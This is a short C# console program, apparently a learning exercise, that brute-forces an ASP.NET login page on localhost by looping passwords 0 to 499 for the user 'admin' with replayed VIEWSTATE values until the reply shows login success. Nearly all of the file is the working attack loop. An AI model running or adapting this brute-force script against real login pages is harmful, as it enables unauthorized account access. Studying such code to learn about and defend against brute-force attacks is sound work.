﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;

namespace 暴力Login
{
    class Program
    {
        static void Main(string[] args)
        {

            PasswordPoJie();
            Console.ReadKey();


        }

        static void PasswordPoJie()
        {
            WebClient wc = new WebClient();
            //防止乱码
            wc.Encoding = Encoding.UTF8;

            //string s = wc.DownloadString("http://localhost:16274/%E5%8E%9F%E7%90%86%E8%A7%A3%E5%AF%86/Login/Login.aspx?__VIEWSTATE=%2FwEPDwUKLTg0OTIzODQwNWRkiUum5jjvmQe7sazl7Ooqzrq3wexw8ChWqFQOkVtwYSc%3D&__EVENTVALIDATION=%2FwEWBALG9P1qAqXVsrMJArWptJELAoznisYGzEgzD6pSlmxry%2FHzPngiB%2FYG%2Bi9h%2FZ1d5NxfLS871Uk%3D&txtUserName=admin&txtPassword=123&Button1=%E7%99%BB%E9%8C%B2");
            //Console.WriteLine( s);

            for (int i = 0; i < 500; i++)
            {
                string s = wc.DownloadString("http://localhost:16274/%E5%8E%9F%E7%90%86%E8%A7%A3%E5%AF%86/Login/Login.aspx?__VIEWSTATE=%2FwEPDwUKLTg0OTIzODQwNWRkiUum5jjvmQe7sazl7Ooqzrq3wexw8ChWqFQOkVtwYSc%3D&__EVENTVALIDATION=%2FwEWBALG9P1qAqXVsrMJArWptJELAoznisYGzEgzD6pSlmxry%2FHzPngiB%2FYG%2Bi9h%2FZ1d5NxfLS871Uk%3D&txtUserName=admin&txtPassword=" + i + "&Button1=%E7%99%BB%E9%8C%B2");
                if (s.Contains("登録成功"))
                {
                    Console.WriteLine("Found! Password is " + i);
                    break;
                }
            }
        }

    }
}
